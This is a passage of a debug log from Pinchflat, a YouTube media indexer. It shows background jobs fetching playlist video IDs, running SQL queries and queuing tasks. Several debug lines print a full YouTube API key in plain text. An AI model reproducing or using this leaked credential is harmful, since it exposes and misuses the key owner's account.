"uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", ...] 17:25:24.842 [debug] QUERY OK source="media_items" db=0.5ms idle=200.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:25:24.843 [debug] QUERY OK source="tasks" db=0.1ms idle=201.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268466, 3, ~U[2026-10-09 22:25:24Z], ~U[2026-10-09 22:25:24Z]] 17:25:24.843 [info] {"args":{"id":3},"id":5268427,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":202218,"event":"job:stop","queue_time":843466,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:43.367 [info] {"args":{"id":27},"id":5268428,"meta":{},"system_time":1791584743367297524,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:43.367 [debug] QUERY OK source="sources" db=0.2ms idle=1020.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 17:25:43.367 [debug] QUERY OK source="settings" db=0.0ms idle=1007.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:43.368 [debug] QUERY OK source="media_profiles" db=0.1ms idle=21.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:43.368 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:43.368 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 17:25:43.368 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:43.368 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:43.582 [debug] QUERY OK source="media_items" db=0.7ms idle=213.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "Tuxgh8SrzbQ", "DWAMwfM2DrM", "-TvOCDbhCWk", "WAeTROAfSTs", "nhbeaHuZMQ0", "Se1NPlfUCss", "kSPrY4NHqow", "dpNfJm2Ql90", "mIBhWgYWVPA", "P4351ixgP4M", "X2qcTrprMqE", "GEhwXAIjDls", "_5aHHg4A_vY", "xeRSef7jMYc", "nz6sgR01Tt8", "bmFRqSs1QAM", "EBgxa8OzjB8", "F-CFdCp0xaw", "lt07jcPvG2Y", "dy0WZVpyiTM", "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", ...] 17:25:43.583 [debug] QUERY OK source="media_items" db=0.8ms idle=215.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 17:25:43.584 [debug] QUERY OK source="tasks" db=0.1ms idle=216.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268467, 27, ~U[2026-10-09 22:25:43Z], ~U[2026-10-09 22:25:43Z]] 17:25:43.585 [info] {"args":{"id":27},"id":5268428,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":217485,"event":"job:stop","queue_time":447818,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:44.368 [info] {"args":{"id":1},"id":5268429,"meta":{},"system_time":1791584744368293476,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:44.368 [debug] QUERY OK source="sources" db=0.2ms idle=783.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:25:44.368 [debug] QUERY OK source="settings" db=0.1ms idle=783.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:44.369 [debug] QUERY OK source="media_profiles" db=0.1ms idle=777.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:44.369 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:44.369 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 17:25:44.369 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:44.369 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:44.639 [debug] QUERY OK source="media_items" db=0.7ms idle=269.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "LttGyjX-QxE", "t28bEMboL9Y", "ijFSEb2W6_8", "79s8O7Cipl0", "1H20xp8Brnc", "y1hZ3EalPQU", "zH9bqwNShiM", "1gxnANAbLuE", "Fx0x3oI_ngo", "DLOQOUWmRpI", "p-EXFD_DHmc", "XM04mbymDsE", "GaX0frxNwfQ", "SuIhqDP2VHw", "Z1sqWFs86uU", "pJWqvVnDT0A", "qgLaCZyKv_8", "Zzzkg_ZrOII", "zg-rMHEqg-4", "3xngArcFpek", "y9rtvIUjVQw", "3PGKMwgjla0", "i_nj_vkD03g", "pvSdeU13hKc", "_p331WEfEIs", "VfQdPRyqQW4", "n5wuk8Uci_4", "sL6OWsT47zc", "FYDvDoxBU6c", "2KztkwBYD68", "nZwdIPg7N3A", "lmLh29LE2W4", "MtkoClsRvCU", "X8sgBpmdCT8", "fX-g6XNrkiA", "81wg425C8z0", "LYMvJW5rYME", "RC138pD_7_s", "yFJDP7OinRM", "tklAv8hcG9s", "oeqUHEp4sYM", "H4BKUbtCmp0", "ZWCAXHNOIcA", "DXK-F0SjC_E", "04MFcE-ntxQ", "QfCW5bXvwII", "36oL-7C_qR4", "AHP423JqiLc", "vzg5cv785j4", ...] 17:25:44.651 [debug] QUERY OK source="media_items" db=11.9ms idle=270.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:25:44.652 [debug] QUERY OK source="tasks" db=0.1ms idle=282.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268468, 1, ~U[2026-10-09 22:25:44Z], ~U[2026-10-09 22:25:44Z]] 17:25:44.652 [info] {"args":{"id":1},"id":5268429,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":284242,"event":"job:stop","queue_time":454946,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:44.660 [info] {"args":{"id":18},"id":5268430,"meta":{},"system_time":1791584744660329262,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:44.660 [debug] QUERY OK source="sources" db=0.1ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 17:25:44.660 [debug] QUERY OK source="settings" db=0.0ms idle=8.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:44.661 [debug] QUERY OK source="media_profiles" db=0.1ms idle=8.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:44.661 [debug] QUERY OK source="settings" db=0.1ms idle=8.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:44.661 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 17:25:44.661 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:44.661 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:44.845 [debug] QUERY OK source="media_items" db=0.5ms idle=183.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "cmwW_7Abt1U", "4uSSn65kjoY", "VvVF9MpNKOM", "K62b5JcIyws", "7YMs4CC-4fg", "LKW7jxxzgY0", "3uAJj9IG5L0", "laNbCG1X0bc", "KAa-oD5ip6g", "o3gI3hJ8y9g", "QZZCVVpRPCw", "fYQ-7t0NVSY", "OkMhgv-LVFs", "UrimWxUfPYM", "JYT2by9OsNU", "Nre7c3KGDLI", "Jn_mEQzU2uU", "vgM7E9gyyfA", "-yzDkpEFPso", "P3hLiuMw06E", "1Lj_Vx_YLic", "MMMREpB4_Uw", "jTCzE-t_zwM", "lboQeOpiHDQ", "TW0E1KFVuFY", "7VFv3s7gpdU", "vyYSPIfCLdc", "nNNs5FtLnTc", "qo9gdGAdTVs", "prdfB6Ajd-0", "ivSZoARtMtU", "fOr5r_a3n5c", "PDJdtrrXlBc", "MAw0IOv6g2I", "VY4oO2EoURA", "TJ9QPLFRwgU", "SL3I3HRltxY", "JKDISzBlzow", "3rd0HjHoQzE", "7xwicE-ysdA", "09a59YumUcI", "0tmYqrYddLY", "VNnyrwFoIkg", "m-Wt81X5Z4k", "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", ...] 17:25:44.846 [debug] QUERY OK source="media_items" db=0.9ms idle=184.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 17:25:44.847 [debug] QUERY OK source="tasks" db=0.1ms idle=185.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268469, 18, ~U[2026-10-09 22:25:44Z], ~U[2026-10-09 22:25:44Z]] 17:25:44.847 [info] {"args":{"id":18},"id":5268430,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":186928,"event":"job:stop","queue_time":578033,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:45.370 [info] {"args":{"id":16},"id":5268431,"meta":{},"system_time":1791584745370202432,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:45.370 [debug] QUERY OK source="sources" db=0.2ms idle=523.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 17:25:45.370 [debug] QUERY OK source="settings" db=0.1ms idle=523.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:45.371 [debug] QUERY OK source="media_profiles" db=0.2ms idle=517.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:45.371 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:45.371 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 17:25:45.371 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:45.371 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:45.554 [debug] QUERY OK source="media_items" db=0.7ms idle=182.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "drrUvxtT6lU", "pZtU48TjxXg", "AQqVcdTH5bQ", "Dr4lseoF82c", "YwxiF2Gqtww", "IJSO-BL3pEU", "tDLbO9KeddY", "EU-rZuJxdbw", "7S8mK7WSNZQ", "SzM1hpnXux4", "8IsbKH-EsAY", "jUa2x_xpFuM", "WGia1R3xacM", "blubg9l8AVc", "hCZwH5CSlEY", "Mi_fYfpycT0", "YrZyJuaBfKA", "omYfLDlt-MA", "Pwn8IrDeiwc", "NxZOBBenmZM", "V2lEgMHF2Fo", "aZRXpmnys7I", "cMYYcddinkE", "-v2ZhcJcnBE", "Wp-TX1FoEN4", "PTEkUe1k6gc", "zKx1VJsLsfk", "GpaNijzRaJI", "Yz3lSKgz4q8", "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", 